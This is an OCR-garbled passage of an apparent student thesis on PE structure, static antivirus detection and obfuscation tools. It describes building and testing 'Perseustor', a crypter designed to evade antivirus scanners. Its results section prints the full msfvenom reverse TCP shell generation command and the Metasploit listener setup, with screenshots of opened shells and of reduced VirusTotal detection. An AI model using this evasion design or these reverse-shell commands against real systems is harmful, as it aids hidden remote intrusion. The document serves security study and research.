represents the 4K page’s base relocations. A 32-bit boundary must be present at
the start of each block.

Because malware developers regularly deploy obfuscation to trick antivirus scan-
ners, antivirus software must apply a variety of malware analysis techniques and
procedures to identify and neutralize such malware

The SizeOfBlock field is then followed by any number of Type or Offset field
entries. Each entry is a WORD (2 bytes).

The difference between the targeted base address and the base where the image
is actually loaded is computed to apply a base relocation. Because the difference is

0 when the image is loaded at its preferred base, no base relocations are required.
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2 Malware

Malicious code, often known as malware, is software that carries out an attacker’s
malevolent goal. Malware has caused a significant surge in harm over the previous
few years. One issue is the increasing popularity of the Internet, which has led to an
increase in the number of vulnerable workstations due to security-conscious users.
Another reason is that malware has become more complicated, making detection
more challenging.

Because malware creators frequently employ obfuscation to fool antivirus scan-
ners, it’s crucial to understand how this approach is utilized in malware. A varied

virus has a different core structure that allows it to elude protection.

2.1 Malware Analysis

The process of analyzing malware to figure out how it operates, how to detect it,
and how to defeat it, is called malware analysis. It entails examining the suspicious
binary in a secure environment to determine its features and functions in order to
build stronger defenses to safeguard sensitive data on machines.

Different analysis techniques are frequently used to comprehend the workings
and characteristics of malware, as well as to analyze its impact on the system. The
categorization of these analysis techniques is as follows:

» Static Analysis is the process of studying a binary without actually running
it. It’s the simplest method, and it allows retrieving the metadata linked with
the questionable binary. Although static analysis may not provide all the
essential information, it can occasionally provide useful information that aids
in deciding where to focus further analysis efforts.

e Dynamic Analysis is the process of running the suspect binary in a con-
trolled environment and watching its behavior. This analysis is simple to use
and provides useful information about the binary’s activities while it is run-
ning. This method of analysis is effective, but it does not expose all the hostile
program’s capabilities.

o Code Analysis is a more sophisticated approach that focuses on evaluating
code using programming language and operating system expertise in order to
comprehend and explain the binary’s inner workings. This method reveals
information that can’t be gleaned through static and dynamic analysis alone.

e« Memory Analysis is the process of searching and capturing of forensic arti-
facts in a device’s running memory, and then analyzing the captured output
for evidence of malicious software. Memory analysis is particularly helpful in

determining the malware’s stealth and evasion capabilities [14].
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2.2 Static Analysis

Searching for a program code with malicious intent is usually done by signatures. A
signature is a series of assembly instructions that is known to accomplish malicious
behavior. The use of such signatures is, in theory, relatively simple: a database
of known sequences of instructions collected from all known malware is required.
A malware detection system might check code against this repository and issue an
alert if a matching sequence is discovered [3].

Finding malware in this manner presents three distinct obstacles. To begin,
the signature must first be created, which is normally done manually. Second, the
malware must be examined before the signature can be created. This won’t happen
unless its existence is established, since there have been cases of malware that has
been running for years before being discovered. Finally, the repository of signatures
is constantly expanding, and new signatures must be provided on a regular basis.
Despite these difficulties, malware detection by static signatures is one of the most

effective countermeasures against malware attacks [1].

2.2.1 Heuristics Analysis

Heuristics analysis is a good way to find novel malware that hasn’t been seen be-
fore. It’s particularly useful for detecting macro viruses. It can also be very useful
detecting binary viruses, but it has the potential to create a lot of false positives,
which is a big scanner flaw. Users are unable to trust and will not purchase antivirus
software that routinely generates numerous false positives [4][1][17].

However, there are several scenarios in which a heuristic analyzer may be quite
useful in detecting variations of a known virus family. The static heuristic is based
on an examination of the virus’s file structure and code arrangement. The static
heuristic scanner recognizes program activity using plain signs and code analysis.

Items that represent particular structural concerns that may not be included
in benign Portable Executables built with a 32-bit compiler are some instances of
heuristic flags [2]:

e Possible Gap between Sections

e Code Execution Starts in the Last Section

e Suspicious Section Characteristics

e Suspicious Code Section Name

e Virtual Size is Incorrect in Header of PE

e Multiple PE Headers

e Suspicious Imports from KERNEL32.DLL by Ordinal

e Suspicious Code Redirection
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2.2.2 String Scanning

This approach use this signature to detect the virus that was previously examined.
It looks through the files for malware signatures. The antivirus engine searches
the binary code of files for these strings, and if it finds one that matches a known
pattern, it warns the user to the presence of the virus. Antivirus scanners use it as

one of the most basic and straightforward approaches [2].

2.2.3 Special String Scanning

When scanning signature strings, some particular criteria in the bytes’ comparison

procedure are required. The following are some of the most helpful uncommon

instances in string scanning [2]:

e Wildcards! - Wildcards can be used to exclude certain byte values or value
ranges from comparison.

e Mismatches - It accepts insignificant values for any number of bytes in a string,
independent of their location.

e Generic Degree - When a virus has several versions, the variants are evaluated

to obtain a single unique string that represents them all.

2.2.4 Bookmarks

Bookmarks are a simple technique to improve detection reliability and reduce the
danger of false positives. The number of bytes between the start of the viral code

and the first byte of the signature, for example, can be used as a bookmark.

2.2.5 Speed-Up Techniques

Almost all antivirus scanners waste the majority of their search time comparing

input data to viral signatures that have already been detected. Scanners often use a

variety of multi signature string comparison algorithms. As a result, the algorithms

must be completed as quickly as feasible. There are various methods for speeding up

string scanning. The following are some of the most prevalent strategies for speeding

up the search algorithm [16]:

e Hashing - Hashing is used in antivirus scanners to reduce the amount of search-
ing strings within the file.

e Top-and-Tail Scanning - Scanning only the first and final sections of the file
rather than the entire file.

e Entry-Point and Fixed-Point Scanning - They scan for the execution entry-

points, which are found in the headers of executable files.
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2.2.6 Smart Scanning

Smart scanning is a defense-enhancing strategy for the latest generation of viruses,
which aim to bury their code in a series of meaningless instructions like NOP?[12].

Junk instructions, such as NOPs, are skipped by smart scanning and are not
counted as virus signature bytes. In addition, to increase the probability of detecting
viral variations, an area of the virus body is chosen that does not include any data

addresses or other subroutines.

2.2.7 Skeleton Detection

Skeleton detection is very useful for detecting macro viruses®. It doesn’t use strings
or checksums to detect anything [12].
This approach was devised and demonstrated for the first time by Eugene Kasper-

sky, a Russian malware researcher and inventor of Kaspersky Anti-Virus [2].

2.2.8 Nearly Exact Identification

One frequent way of identifying a virus is to use two strings as the virus’s signature,
rather than just one. If both strings are present in the file, the virus is almost exactly
recognized. When used in conjunction with bookmarks, this method becomes more
reliable [16].

Eugene Kaspersky, the developer of the Kaspersky antivirus algorithm, does
not use signature strings and instead uses two cryptographic checksums. These

checksums are calculated at two locations inside the object, each with a defined size

2].

2.2.9 Exact ldentification

The virus’s variable bytes are disregarded, and a map of every constant byte is cre-
ated. This is the only approach that can guarantee accurate viral variant detection.
Exact identification methods can also distinguish between different kinds of viruses
[16].

Despite the numerous benefits, the deployment of this technology causes the
scanners to become slightly slower. Furthermore, it is quite difficult to deploy it for

large computer infections.

2NOP - A machine language instruction that does nothing.
3Macro Virus - A macro virus is one that is written in a programming language that is embedded

inside a software application.
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2.2.10 Filtering

This technique is used to enhance the antivirus engine’s scanning speed performance.
It’s notably beneficial in virus-specific detections*, which take a long time and have

a high level of complexity [2].

2.2.11 X-RAY Scanning

The X-RAY scanning method is another virus-specific methodology that may also
be used to detect viruses that are encrypted. Rather of looking for the decryp-
tor, X-ray scanning targets the virus’s encryption. It works by using a previously
recognized viral plaintext and applying all encryption techniques individually to par-
ticular regions of files, such as the top or tail of the file or the claimed entry-point,
in order to identify the specified plain text in the decrypted virus body. X-raying
takes use of flaws in the viral encryption algorithm. This type of scanning can detect

sophisticated polymorphic viruses as well [2][8].

2.2.12 Static Decryptor Detection

A numerous variety of viruses encrypt their bodies to avoid detection by string
scanning. The number of bytes that may be used for string matching by scanners is
reduced with encrypted viruses. String signature scanning algorithms have a hard
time with it. As a result, antivirus software must rely on stub detection unique to
a particular infection, which is a low-quality approach that can result in numerous
false negatives and positives. Furthermore, because the viral body is not encrypted

during scanning, this method cannot guarantee complete removal [4][16].

2.3 Obfuscation Applications

Obfuscation refers to the process of making code unreadable or, at the very least, dif-
ficult to comprehend. Code obfuscation is the technique of applying transformations
to code in order to modify the physical appearance of the code while keeping the
program’s black-box requirements. Not only is code obfuscation useful for protect-
ing intellectual property, but it is also often utilized by malicious code developers
to prevent discovery. Many viruses employ obfuscation strategies to evade virus
scanners, altering their code signature with obfuscating modifications on a regular
basis [18].

4Virus-Specific Detection - A technique of detection that is specially designed for a given par-

ticular virus.
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Packers, Crypters, and Protectors are the three basic forms of obfuscation ap-
plications. Each of these applications has a single goal: to obscure malware and
prevent it from being detected by antivirus software. Every application takes a

different approach to the problem. These applications will be covered further down.

2.3.1 Packer

Packer is a common abbreviation for runtime packers, also known as self-extracting
archives. When the packed file is executed, the software unpacks itself in memory.
This approach is also known as executable compression. This sort of compression was
created to reduce the size of files. So users wouldn’t have to manually unpack them
before running them. However, considering the size of portable media and internet
speeds today, the necessity for smaller files is no longer as pressing. So, nowadays,
when packers are being utilized, it’s nearly usually for malevolent intentions. In
other words, to make reverse engineering more difficult, while also reducing the size

of the infected system.

2.3.2 Crypter

Obfuscation is the most basic technique used by crypters. However, most of the
time, these are easy to go around or de-obfuscate. Actual encryption is used in
more advanced ways. Most crypters not only encrypt the file, but also provide the
user with a number of extra choices for making the hidden executable as difficult to
identify as possible by security vendors. Some packers are in the same boat. Another
term that is used in that piece is FUD (Fully Undetectable), which is malware
creators’ ultimate objective. For malware creators, being able to go undetected by
any security company is the golden grail.

Crypters are usually made out of these three parts:

e Crypter - Is in charge of encrypting the input file and generating a new
obfuscated file that contains the encrypted input file.

o Stub - Also known as the decryptor, is in responsible for decrypting, loading,
and executing the encrypted input file.

« Payload - Is the input file to be encrypted and obfuscated.

Crypters are typically divided into two main categories:

e Scantime crypters - Protects the specified file from static analysis by en-
crypting it. When the malware is executed, the decrypted form is loaded into
memory.

 Runtime crypters - During runtime, only the components required to com-
plete a certain task are decrypted. The stub encrypts them again after they’ve
completed their task.
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2.3.3 Protector

In this sense, an protector is software that is designed to keep programs from being
tampered with or reverse engineered. Both packing and encrypting methods can be
employed, and they almost always are. What is commonly referred to as a protector
is made up of this combination plus some more qualities. As a result, protective
layers will surround the payload, making reverse engineering difficult.

Code virtualization, which employs a unique and varied virtual instruction set
every time it is used to secure a program, is a completely new technique that also
comes under the category of protectors. Professional versions of these protectors
are employed to prevent piracy in the gaming industry. However, malware, notably
ransomware, has adopted the tactic. This allows ransomware to send the encryption
key without requiring a C€/C server®. The encryption key can be hard-coded due
to the high level of security.

5C&C Server - Is a command-and-control server used to send commands to systems compro-

mised by malware.
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3 Evaluation

3.1 Implementation

Perseustor is a scantime crypter that takes 32-bit and 64-bit binary executable files
and converts them to encrypted forms, preserving its original behavior, using AES-
128. On startup, the stub decrypts the encrypted file and executes it. A pattern-
based antivirus solution detects questionable file signatures and prevents them from
being executed. The encrypted part has an unknown signature, so its content can’t
be analyzed by heuristics.

Perseustor makes use of external libraries for a variety of purposes. The TinyAES
library is used for encryption, while the FASMAES library is used for decryption.

The FASM compiler is used for assembly code compilation.

3.2 Testing Environment

The Perseustor crypter is written in C' and Assembler on Windows 11 using Visual
Studio Enterprise 2022. During development, the local antivirus Microsoft Defender
was disabled. During the development process, the encrypted executables were de-
bugged in IDA Freeware 7.7 and tested on virtual machines in VMware Workstation

Player 16 with the internet turned off and no antivirus present.

3.3 Crypter

The crypter is responsible for encrypting and creating a new obfuscated executable,

and consists of four stages, which are shown in Figure 3.2.

[ Start ] Initialize Analyze Create Generate [ End ]

Input Parameters

Input File

>,

Parsed Headers

Include Files

Obfuscated Ffile .

Fig. 3.1: Stages of the Crypter.

36



3.3.1 Initialize the Crypter

The command line input parameters are used to initialize the crypter at this first
stage. Although the crypter accepts up to five parameters, just the input and output
files are necessary. These are the five input parameters:

o Key size - Indicates the length in bytes of the randomly generated 128-bit
AES key. The default value for this parameter is 6. This parameter is optional.

« Key range - Specifies each byte of the key that can have a range between 0
and <size - 1>. The default value for this parameter is 4. This parameter is
optional.

o Detailed stage information - According to this parameter, the crypter turns
on or off the detailed stage information output in the console. By default, this
option is turned off and is optional.

e Input file - This parameter specifies the input file, the executable to be
encrypted, by path and name. Without this parameter, the crypter will abort
the operation, thus it is required.

e Output file - This argument specifies the path and name of the output file,
the executable to be encrypted. The crypter will abort the operation if this
argument is not provided, hence it is required.

If the crypter recognizes the proper input parameter, it sets the relevant variable

to the input value, else it leaves the variables with the default values. The initializa-
tion is complete after the input parameters have been successfully parsed, and the

appropriate values have been set, and the crypter may proceed to the next stage.

3.3.2 Analyze the Input File

During this stage, the crypter analyzes and parses the input. The crypter either
returns the structure of the parsed part or returns NULL after each successful parsing
of a specified part of the file. If such a NULL is returned, the crypter treats it as
an error, aborts the analysis, and terminates itself. This parsing happens in five
different steps:

1. Input file.
MZ Header.
PE Header.
COFF Header.
Optional Header.

AR

After parsing the various structures is done, the crypter determines if the input
file is a .NET application or if it contains a .reloc table. If any of those attributes
are identified, the crypter displays a warning that the input file is unsupported and

advises the user to proceed with caution.
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3.3.3 Create Required Files

The crypter generates required files in this stage, which are eventually utilized to
build the final obfuscated executable. The obfuscated executable cannot be built
without these files, therefore if any of the actions returns NULL, the crypter con-
siders it an error, aborts the creation, and exits.

At the beginning, the format.inc is generated using the optional header. From
this header it detects the architecture (32-bit or 64-bit) and if it’s a console or GUI
application. The following is an example of 64-bit GUI application output in the
generated file:

format PE64 GUI 5.0 at IMAGE BASE

After generating the first file, the next is image.inc. In this file are defined FASM

constants of image base address and size of the image, which are in following format:

IMAGE BASFE equ 02400000
IMAGE SIZFE equ 0x4000

Now the generation of encryption key size, and its length takes place, and the

generated file is key.inc with the following format:

REAL KFEY SIZE  equ 0x6
REAL KEY RANGE equ Ox4

Next, the input file is to be encrypted. First, the total amount of encrypted data
is computed by summing the input file size and the checksum size of 4 bytes, which
is then rounded up to a multiple of the 16-byte AES block size. The input file’s
checksum is also created.

After that, using the key length and key range values as input parameters, the
128 bit is created. The input file is subsequently encrypted using the created key.
The infile_array.inc file stores the encrypted bytes, whereas infile size.inc stores
the size of the encrypted file. The following is the format in which the values are

written in the file:

INFILE SIZFE equ 0x810
db 0x f1, 0228, 0x2a, 0x52, 027, 0xd7, ...
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3.3.4 Generate Obfuscated File

The obfuscated executable is built in the last stage utilizing the previously gener-
ated necessary files and the FASM compiler. The FASM command is built in the
beginning, utilizing the output file name as an input argument and the directory
corresponding to the detected 32-bit or 64-bit architecture.

After the command is constructed, a new FASM process is created and initial-
ized, which, if successful, launches the FASM. EXFE with the built command, which
then compiles all the generated files with the stub component and generates a new

executable. If the process was never created, the crypter handles the error and exits.

3.4 Stub

The stub is responsible for decrypting and loading the new obfuscated executable

in memory. The stub consists of four stages, which are shown in Figure 3.2.

[ Start ] Initialize Decrypt Load Execute [ End ]

Input Parameters

Encrypted File _:

Decrypted File _

>

Loaded File

Executed File

»
>

Fig. 3.2: Stages of the Stub.

3.4.1 |Initialize the Stub

The stub is first initialized by loading the necessary files and functions for it to
function correctly. The .bss is started with an empty byte array with a size equal
to the image size of the encrypted file, as shown in Figure 3.3. As a result, the .bss
section’s raw size is zero, but the virtual size is equal to the image size of the input
file and is situated just after the stub’s PE header.

The data section then contains the encrypted file’s byte array. Following the data
section comes the text section, which contains the code for decryption, loading, and

execution.
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PE Header .hss data dext
00000000000000000DD
00000000000000000DD
00000000000000000DD
0000000000000000000
0000000000000000000

PE Header
Of Obfuscated File

Encrypted

Input File Decrypter

Image Base Image Size
OF Inputt File Of Inputt File

Fig. 3.3: Obfuscated Executable in Memory Before Decryption.

3.4.2 Decrypt the Encrypted File

In the second stage, the decryption routine is initialized by configuring the proper-
ties of subsequently produced decryption keys using values REAL KEY SIZE and
REAL KEY RANGE as input parameters from the key.inc file. Next, a backup
copy of the encrypted file is made for purposes of restoration if the original failed to
be decrypted correctly. If the backup is not produced, the stub aborts the decryp-
tion, handles the problem, and terminates itself.

Following that, a decryption key is generated, and it is immediately checked to
see if all conceivable combinations of generated keys have been generated. If this
is the case, it handles the error and exits. A checksum of the encrypted file is
produced and compared to the original checksum after decryption. In the event of
a match, the stub now has a proper version of the decrypted file and may remove
the encrypted file’s backup.

If the checksums do not match, the backup is utilized to recover the encrypted
file, and a new decryption key is created, which is then used to decrypt the encrypted
file. This method is repeated until the file is successfully decrypted or all feasible
combinations of the decryption key are tried.

In Figure 3.4 the obfuscated executable can be seen after being decrypted in

memaory.
PE Header hss data text
PE Header Sections Encrypted
Of Input File Of Input File Input File Decrypter
r'y
Image Base Image Size
Of Input File Of Input File

Fig. 3.4: Obfuscated Executable in Memory After Decryption.
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3.4.3 Load the Decrypted File

The encrypted file can now be loaded into memory after it has been decrypted.
This begins with checking the content of the decrypted file’s data section, where the
MZ and PE headers are examined. The e_magic value is added to the image base
address in the MZ header, and the lowest 16 bits are compared to the Signature in
the PE header. If they are not equal, the stub suspends the loading and exits.

The same happens with e_[fanew value, which is appended to the image base
address, typecasts to dword, and then compared with Signature in the PE header.
If they are not equal, the stub suspends the loading and terminates itself. If the
prior checks are successful, the file is ready to be loaded into memory. The PE
header and parts of the encrypted file are loaded into memory in this section. This
is accomplished by first making the entire image readable, and then cycling over the
sections and loading each one into memory until all of them are loaded.

The import table can now be loaded right after the different sections have been
loaded. This is accomplished by locating the import table within the optional
header’s data directory and importing it via the VirtualAddress value, so making
the import table pointer available for usage.

Following that, the null directory entry is initialized, which is then utilized to
traverse over the directory tables. The APIs of the current directory are loaded
when cycling over directory tables. This is accomplished by passing the DLL name
of the directory as an input argument to the LoadLibrary function. If the library
cannot be loaded, the stub stops loading, handles the problem, and exits. If the
library was properly loaded, the table entries are scanned, and after an API name
is located, the GetProcAddress function is used with the DLL image base address
and the API name to obtain the address of the exported function.

Different memory permissions are assigned for each section after the entire import
table has been loaded. The start and finish of the section header are first found.
Knowing this, the PE header is set to read-only right away. Next, the VirtualProtect
function is used to traverse the sections and assign proper permissions.

The decrypted file has now been successfully loaded and may be run in the

following stage after passing through each part and setting their permissions.

3.4.4 Execute the Decrypted

The loaded file is executed at the last stage. The e_Ifanew in the DOS header is
first added to the IMAGE _BASE from the image.inc file and the size of the image
file header. This sum, along with AddressOfEntryPoint, represents the loaded file’s
entry point. The only thing remaining is to leap to the entry point, and the loaded

file will be executed.
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3.5 Results

Now that the Perseustor is ready, it may be tested. Because any 32-bit or 64-
bit virus may be tested, knowing if it was run successfully is impossible without
understanding its inner workings. As a result, an MSFEFVenom reverse TCP shell
was chosen as the testing sample. The reverse TCP shell will be built with the
Metasploit Framework’s MSF Venom utility.

C:\metasploit-frameworkibin>msfvenom -p windows/x64/shell reverse_tcp LHOST=102.168.168.3 LPORT=4444 -f exe -o payload.exe
C:/metasploit-framework/embedded/lib/ruby/gems/3.8.8/gems fzeitwerk-2.5.4/1ib/zeitwerk/kernel.rb:35: warning: Win32API is de
precated after Ruby 1.9.1; use fiddle directly instead
C:/metasploit-framework/embedded/lib/ruby/gems /3. 8.6/gems fhrr_rb_ssh-@.4.2/1ib/hrr_rb_ssh/connectionschannel/channel_type/s
esslon.rb:13: warning: already initlalized constant HrrRbSsh::Connectlon::Channel::ChannelType::Session::NAME
C:/metasploit-framework/embedded/lib/ruby/gems/3.8.6/gems fhrr_rb_ssh-@.4.2/1ib/hrr_rb_ssh/connectionschannel/channel_type/s
esslon.rb:13: warning: previous definition of MAME was here

C:/metasploit-framework/embedded/lib/ruby/gems/3.8.6/gems fhrr_rb_ssh-@.4.2/1ib/hrr_rb_ssh/connectionschannel/channel_type/s
esslon.rb:13: warning: already initlalized constant HrrRbSsh::Connectlon::Channel::ChannelType::Session::NAME
C:/metasploit-framework/embedded/lib/ruby/gems/3.8.6/gems fhrr_rb_ssh-@.4.2/1ib/hrr_rb_ssh/connectionschannel/channel_type/s
ession.rb:13: warning: previous definition of MAME was here

[-] Mo platform was selected, choosing Msf::Module::Platform::windows from the paylead

[-] Mo arch selected, selecting arch: x&4 from the payload

Mo encoder specified, outputting raw payload

Payload size: 468 bytes

Final size of exe file: 7168 bytes

Saved as: payload.exe

C:ymetasploit-frameworkibin:

Fig. 3.5: Generation of Payload.

msfé > use exploit/multi/handler

[#] Using configured payload generic/shell reverse_tcp

msfé exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp

msfé exploit(multi/handler) > set lhost 192.168.100.3

lhost => 192.168.166.3

msfé exploit(multi/handler) > set lport 4444

lport => 4444

msfé exploit(multi/handler) > run

[#] Started reverse TCP handler on 192.168.100.3:4444
[#] Command shell session 1 opened (192.168.180.3:4444 -> 192.168.180.3:61327)

Shell Banner:
Microsoft Windows [Version 10.0.19843.1706]
(c) Microsoft Corporation. All rights reserved.

C:\metasploit-framework\bin>

C:\metasploit-framework\bin>g

Fig. 3.6: Successful Connection of the Original Payload.
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file:///metasploit
file:///metasploit-f
file:///metasploit-f

The reverse TCP shell is constructed by first entering the necessary input pa-
rameters in the command line, as seen in the picture 3.5. The first parameter is the
payload, which is the reverse TCP shell in this case. The IP address and port of
the local host are then provided. This subsequently instructs the payload where to
reconnect once it has been executed. The final two options are the desired output
format and the name of the output file.

After the payload has been successfully constructed, it may be tested using
another Metasploit Framework application called MSFConsole. This tool may be
used to listen for incoming connections. The same input settings are utilized as
before in MSF Venom, as seen in Figure 3.6. After everything is in place, it may be
started and listen for incoming connections.

When the payload is executed, it attempts to connect to the destination host,
in this instance the local testing computer. The connection has been made, and the
shell may now be utilized. This is seen in Figure 3.6.

The payload is then encrypted by Perseustor, as seen in Figure 3.8. This is
accomplished by passing the input file and output file names as input parameters.
Other options, such as the detailed stage information flag, may also be passed so

that various valuable information may be seen during the encryption.

CiiUsersymatejisourceiyreposiPerseustor>Perseustor.exe -1 pawload.exe payload encrypted.exe
[stage] 8: IMITIALIZIMNG PERSEUSTOR
[info] Kew Length is &.
info] Key Range is 4.
info] Detailed information during stages i1s enabled.
AMALYZE INPUT FILE
info] File loaded.
] MZ signature found.
] PE signature found.
info] Image is a walid executable.
]
]

[stage]

Executable image 1s a 64-bit application.
Image base at B8x458868888.
info] Image size is &x4248.

info] CLI application detected.
] File size with checksum is @xlc84.
] Rounded up to a multiple of key size is 8xilcié.
] Generated checksum 1s 8x148bc.
] Generated AES key 1z B8x2 8x2 8x1 B8x3 6x8 Bx2
info] Encrypted FASM array written in Contailnery&diinfile array.inc.
] Contalneri64iimage.inc generated.
] Appending to Contalner’&4himage.inc.
] Contalneriedikey.inc generated.
info] Appending to Containery6diykey.inc.
GEMERATE EXECUTAEBLE
info] FASM command 1s FASHYFASM.EXE Contalner’&4imain.asm payload encrypted.exe.
[info] FASM container directory i1s Contalnersgdh.
flat assembler wersion 1.73.38 (1848576 kilobwtes memory)
7 passes, 8.1 seconds, 14848 bytes.
[info] FASM command executed successfully.
[stage] 4: FINISHED

[stage]

C:hlUsersiymatejisourceireposPerseustor:

Fig. 3.7: Encrypted Payload.
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After creating the new encrypted payload, it is tested using the MSFConsole in
the same manner as the previous payload. The encrypted payload is run, and an
attempt is made to connect to the destination host, which in this case is the local
testing computer. The shell can be used normally after a successful connection.
This proves that Perseustor’s stub successfully decrypted, loaded, and executed the

encrypted payload. The outcome may be seen in 3.8.

msfé > use exploit/multi/handler

[#] Using configured payload generic/shell_reverse_tcp

msfé exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp

msf6e exploit{multi/handler) > set lhost 192.168.1€8.3

lhost => 192.168.100.3

msfé exploit(multi/handler) > set lport 4444

lport => 4444

msfé exploit(multi/handler) > run

[#] Started reverse TCP handler on 192.168.1€8.3:4444
[#] Command shell session 1 opened (192.168.100.3:4444 -> 192.168.160.3:51258)

Shell Banner:
Microsoft Windows [Version 10.8.19843.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Users\matej\source\repos\Perseustor>

C:\Users\matej\source\repos\Perseustor>_

Fig. 3.8: Successful Connection of the Encrypted Payload.

Now that Perseustor’s functionality has been confirmed, it may be tested against
antivirus software and other technologies. pestudio is the first tool used to compare

the original and encrypted payloads, which detects executable file artifacts.

functions () blacklist (T ordinal {0 library (1)
YWirtuallloo kernel32.dll
ExitProcess kernel3d.dll

Fig. 3.9: Imported Functions of the Original Payload.

The imported libraries and functions are the first to be checked. As seen in
Figure 3.12 and Figure 3.12, both payloads import the kernel32.dll, from which the
necessary functions are loaded.
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The primary distinction is that the encrypted payload instantly raises suspicion

due to the imported function VitualProtect, which is used to modify the permissions

of the various parts. This is caused by the stub, which loads the APIs normally that

is easily detected by antivirus.

functions (6)

VirtualProtect
LoadLibrargd,
GetProchddress
Yirtualalloc

WirtualFree

ExitProcess

blacklist (1)

ardinal ()

x

library (1)

kernel32.dll
kernel32.4I0
kernel32.dll
kernel32.dll
kernel32.4I0
kernel32.dll

Fig. 3.10: Imported Functions of the Encrypted Payload.

Next, the different payload sections are compared. As seen in Figures 3.11 and

3.12, the original payload differs in both the number of sections and the sections

themselves. For example, the .text section aroused suspicions by having executable

permissions set. The same is true for the executable .russ section, which is also

self-modifying. Finally, the entry point occurs to contain a suspicious value.

The only suspicious thing about the sections in the encrypted payload is the

entry point of the .text section. Although the data in .bss are not suspicious, the

pestudio considers them as unusual.
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ravw-address
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wirtual-address
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emthy-point
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uyritable
executable
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initialized-data
uninitialized-data
unreadable
self-rmodifying
virtualized

file

walue

et
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(00000400

(00001200 (4608 bytes)
(0000000040001 000
(00001 04E (4174 bytes)
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ALY

00001600

000000200 (572 bytes)
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Q40000040
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LSS
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(00007300

(00000400 (1024 bytes)

(3 0000000040004000
(00000248 (554 brytes)

Dx 00004000

xEQ0Q0020

X

x

Fig. 3.11: Sections of the Original Payload.
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property

natrie

rnd5

entropy

file-ratio {93.1084)
raw-address
rawy-size (13824 bytes)
virtual-address
wirtual-size (30034 bytes)
entry-point
characteristics
weritable
executable
shareable
discardahble
initialized-data
uninitialized-data
unreadable
self-muodifying
virtualized

file

walue

300000400

00000000 (0 brytes)

(x 0000000040001 200
300004248 (16963 bytes)

(3 C00000CO
x

Fig. 3.12: Sections of the Encrypted Payload.
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Finally, the two payloads are posted to VirusTotal, a website that hosts a col-

lection of different antiviruses that scan the uploaded sample and provide reports,

which are then processed by VirusTotal to provide us with a final statistic.
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Fig. 3.13: Results of the Original Payload.
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As seen in Figure 3.13, the original payload is detected by 48 antiviruses out of
68, which is around 70.5%. In Figure 3.14 it can be seen, that the encrypted payload
is detected by 27 out of 68 antiviruses, which represents around 39.7%. Perseustor

thus managed to decrease the detection rate by 30.8%.
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Conclusion

The primary goal of this thesis is to develop a crypter that encrypts and decrypts an
executable in memory to prevent static analysis. Another aim is to become familiar
with the Portable Executable format and static analysis. All of this is covered in
the theory, which is the first half of this thesis, where’s as the practical part makes
up the second half of this thesis.

The first Chapter 1, discusses the Portable Executable file format used by Mi-
crosoft Windows executables. The PE format is defined in great length here, in-
cluding all the headers, data directories, section headers, and sections themselves.

The second Chapter, 2, dives into malware analysis, with a focus on static analy-
sis but also dynamic, code, and memory analysis. Static malware analysis, as well as
numerous static malware detection methodologies, are addressed in further detail in
the following section 2.2. The last section discusses several obfuscation applications,
primarily the crypter, but also packers and protectors.

Chapter 3 focuses on the major purpose of this thesis, which is the development
of the crypter Perseustor. The implementation and testing environment are covered
in the first two sections. The following two sections, the crypter 3.3 and the stub 3.4,
are focused on the proof of concept of the various parts of Perseustor. The section
3.3 describes how the crypter parses, encrypts, and creates a new obfuscated exe-
cutable. Whereas the section 3.4 illustrates how the stub initializes itself, decrypts
the encrypted executable, loads it, and runs it in memory.

The Perseustor is evaluated against pestudio and VirusTotal in the last part, 3.5.
A MSFVenom reverse TCP shell from the Metasploit Framework is used as a testing
example. The payload is then encrypted with Perseustor before being tested and
the results compared.

The functionality of the encrypted payload is first tested by connecting to the
local testing machine. The connection is successfully established, confirming the
correct operation of encrypted executables.

They are then tested in pestudio, where the imported functions and sections are
examined. While there were no suspicious imported functions in the original pay-
load, the encrypted payload included one questionable import: the VirtualProtect
function, which is banned.

When the sections are compared, it is clear that the encrypted version causes
fewer alarms because the only suspicious thing in it is the entry point of the .text
section, whereas the original payload not only has a suspicious entry point, but also
suspicious section permissions, which cause the alarm.

The two samples are uploaded to VirusTotal and the results are compared in the

final section. The original payload is detected by 48 out of 68 antiviruses, or about
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70.5%, but the encrypted payload is recognized by just 27 out of 68 antiviruses, or
approximately 39.7%. Perseustor was able to reduce the detection rate from 70.5%
to 39.7%, which is 30.8%.

Although the 30.8% decrease looks to be good at first glance, the detection rate
remains high. VirusTotal’s detection is based on heuristics at the time of upload,
and the detection rate will most certainly increase subsequently. This is due to the
stub’s static decryption part, which can be used as a signature for detection. Another
issue is that the import functions, particularly VirtualProtect, are discovered early
on. Perseustor thus has a detection rate around 30% to 40%, whereas around 5%

to 10% would be more desirable.
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A Content of the electronic attachment

The electronic attachment contains the source code files (.c, .h, .asm, .inc), the
FASM compiler, and the external libraries FASMAES and TinyAFES. Only the most
relevant folders and files are given here; everything else may be found in the elec-

tronic attachment.

Perseustor/ ..o e root folder of the electronic attachment
L Container/ «.outtttt e generated files and stub
N 52 A 32-bit architecture

| decryptexecutable.asm

| loadexecutable.asm

| main.asm

. _pe.inc

PO 64-bit architecture
| decryptexecutable.asm

|  loadexecutable.asm

| main.asm

| _pe.inc

| FASM/

l_ FASM.EXE

| FASMAES/

source/

G 3 PO 32-bit architecture

Ba Y/ e e e e 64-bit architecture

| TinyAES/
aes.c
aes.h

| AESHandler.c

| FASMHandler.c

| FileHandler.c

| Helpers.c

| PEHandler.c

| Perseustor.c

| AESHandler.h

| FASMHandler.h

| FileHandler.h

| PEHandler.h

| Perseustor.h
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